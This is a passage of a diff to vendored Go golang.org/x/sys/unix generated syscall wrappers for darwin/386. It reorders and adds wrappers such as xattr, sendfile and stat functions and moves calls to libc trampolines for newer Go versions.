-+// go run mksyscall.go -l32 -tags darwin,386,!go1.12 syscall_bsd.go syscall_darwin.go syscall_darwin_386.1_11.go syscall_darwin_386.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build darwin,arm
-+// +build darwin,386,!go1.12
-
- package unix
-
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,8 +350,8 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+func getattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := Syscall6(SYS_GETATTRLIST, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -388,6 +372,161 @@ func pipe() (r int, w int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func getxattr(path string, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fgetxattr(fd int, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_FGETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setxattr(path string, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fsetxattr(fd int, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func removexattr(path string, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fremovexattr(fd int, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FREMOVEXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func listxattr(path string, dest *byte, size int, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func flistxattr(fd int, dest *byte, size int, options int) (sz int, err error) {
-+ r0, _, e1 := Syscall6(SYS_FLISTXATTR, uintptr(fd), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := Syscall6(SYS_SETATTRLIST, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fcntl(fd int, cmd int, arg int) (val int, err error) {
-+ r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-+ val = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func kill(pid int, signum int, posix int) (err error) {
- _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), uintptr(posix))
- if e1 != 0 {
-@@ -408,6 +547,32 @@ func ioctl(fd int, req uint, arg uintptr) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS_SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendfile(infd int, outfd int, offset int64, len *int64, hdtr unsafe.Pointer, flags int) (err error) {
-+ _, _, e1 := Syscall9(SYS_SENDFILE, uintptr(infd), uintptr(outfd), uintptr(offset), uintptr(offset>>32), uintptr(unsafe.Pointer(len)), uintptr(hdtr), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -672,26 +837,6 @@ func Fpathconf(fd int, name int) (val int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTATFS64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Fsync(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -712,23 +857,6 @@ func Ftruncate(fd int, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Getdtablesize() (size int) {
- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
- size = int(r0)
-@@ -930,21 +1058,6 @@ func Listen(s int, backlog int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Lstat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Mkdir(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1229,8 +1342,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1375,36 +1489,6 @@ func Setuid(uid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Statfs(path string, stat *Statfs_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STATFS64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Symlink(path string, link string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1598,6 +1682,33 @@ func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-+ _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func gettimeofday(tp *Timeval) (sec int32, usec int32, err error) {
- r0, r1, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
- sec = int32(r0)
-@@ -1607,3 +1718,94 @@ func gettimeofday(tp *Timeval) (sec int32, usec int32, err error) {
- }
- return
- }
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT64, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatfs(fd int, stat *Statfs_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATFS64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getfsstat(buf unsafe.Pointer, size uintptr, flags int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_GETFSSTAT64, uintptr(buf), uintptr(size), uintptr(flags))
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Lstat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Stat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Statfs(path string, stat *Statfs_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STATFS64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.1_13.go b/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.1_13.go
-new file mode 100644
-index 00000000..e263fbdb
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.1_13.go
-@@ -0,0 +1,41 @@
-+// go run mksyscall.go -l32 -tags darwin,386,go1.13 syscall_darwin.1_13.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build darwin,386,go1.13
-+
-+package unix
-+
-+import (
-+ "syscall"
-+ "unsafe"
-+)
-+
-+var _ syscall.Errno
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func closedir(dir uintptr) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_closedir_trampoline), uintptr(dir), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_closedir_trampoline()
-+
-+//go:linkname libc_closedir libc_closedir
-+//go:cgo_import_dynamic libc_closedir closedir "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func readdir_r(dir uintptr, entry *Dirent, result **Dirent) (res Errno) {
-+ r0, _, _ := syscall_syscall(funcPC(libc_readdir_r_trampoline), uintptr(dir), uintptr(unsafe.Pointer(entry)), uintptr(unsafe.Pointer(result)))
-+ res = Errno(r0)
-+ return
-+}
-+
-+func libc_readdir_r_trampoline()
-+
-+//go:linkname libc_readdir_r libc_readdir_r
-+//go:cgo_import_dynamic libc_readdir_r readdir_r "/usr/lib/libSystem.B.dylib"
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.1_13.s b/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.1_13.s
-new file mode 100644
-index 00000000..00da1ebf
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.1_13.s
-@@ -0,0 +1,12 @@
-+// go run mkasm_darwin.go 386
-+// Code generated by the command above; DO NOT EDIT.
-+
-+// +build go1.13
-+
-+#include "textflag.h"
-+TEXT ·libc_fdopendir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fdopendir(SB)
-+TEXT ·libc_closedir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_closedir(SB)
-+TEXT ·libc_readdir_r_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_readdir_r(SB)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.go b/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.go
-index 10491e9e..a3fc4900 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.go
-@@ -1,7 +1,7 @@
--// mksyscall.pl -l32 -tags darwin,386 syscall_bsd.go syscall_darwin.go syscall_darwin_386.go
-+// go run mksyscall.go -l32 -tags darwin,386,go1.12 syscall_bsd.go syscall_darwin.go syscall_darwin_386.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build darwin,386
-+// +build darwin,386,go1.12
-
- package unix
-
-@@ -15,7 +15,7 @@ var _ syscall.Errno
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_getgroups_trampoline), uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -23,20 +23,30 @@ func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
- return
- }
-
-+func libc_getgroups_trampoline()
-+
-+//go:linkname libc_getgroups libc_getgroups
-+//go:cgo_import_dynamic libc_getgroups getgroups "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func setgroups(ngid int, gid *_Gid_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setgroups_trampoline), uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setgroups_trampoline()
-+
-+//go:linkname libc_setgroups libc_setgroups
-+//go:cgo_import_dynamic libc_setgroups setgroups "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_wait4_trampoline), uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
- wpid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -44,10 +54,15 @@ func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err
- return
- }
-
-+func libc_wait4_trampoline()
-+
-+//go:linkname libc_wait4 libc_wait4
-+//go:cgo_import_dynamic libc_wait4 wait4 "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_accept_trampoline), uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -55,30 +70,45 @@ func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
- return
- }
-
-+func libc_accept_trampoline()
-+
-+//go:linkname libc_accept libc_accept
-+//go:cgo_import_dynamic libc_accept accept "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-- _, _, e1 := Syscall(SYS_BIND, uintptr(s), uintptr(addr), uintptr(addrlen))
-+ _, _, e1 := syscall_syscall(funcPC(libc_bind_trampoline), uintptr(s), uintptr(addr), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_bind_trampoline()
-+
-+//go:linkname libc_bind libc_bind
-+//go:cgo_import_dynamic libc_bind bind "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-- _, _, e1 := Syscall(SYS_CONNECT, uintptr(s), uintptr(addr), uintptr(addrlen))
-+ _, _, e1 := syscall_syscall(funcPC(libc_connect_trampoline), uintptr(s), uintptr(addr), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_connect_trampoline()
-+
-+//go:linkname libc_connect libc_connect
-+//go:cgo_import_dynamic libc_connect connect "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func socket(domain int, typ int, proto int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SOCKET, uintptr(domain), uintptr(typ), uintptr(proto))
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_socket_trampoline), uintptr(domain), uintptr(typ), uintptr(proto))
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -86,66 +116,101 @@ func socket(domain int, typ int, proto int) (fd int, err error) {
- return
- }
-
-+func libc_socket_trampoline()
-+
-+//go:linkname libc_socket libc_socket
-+//go:cgo_import_dynamic libc_socket socket "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) {
-- _, _, e1 := Syscall6(SYS_GETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_getsockopt_trampoline), uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getsockopt_trampoline()
-+
-+//go:linkname libc_getsockopt libc_getsockopt
-+//go:cgo_import_dynamic libc_getsockopt getsockopt "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_SETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_setsockopt_trampoline), uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setsockopt_trampoline()
-+
-+//go:linkname libc_setsockopt libc_setsockopt
-+//go:cgo_import_dynamic libc_setsockopt setsockopt "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETPEERNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getpeername_trampoline), uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getpeername_trampoline()
-+
-+//go:linkname libc_getpeername libc_getpeername
-+//go:cgo_import_dynamic libc_getpeername getpeername "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
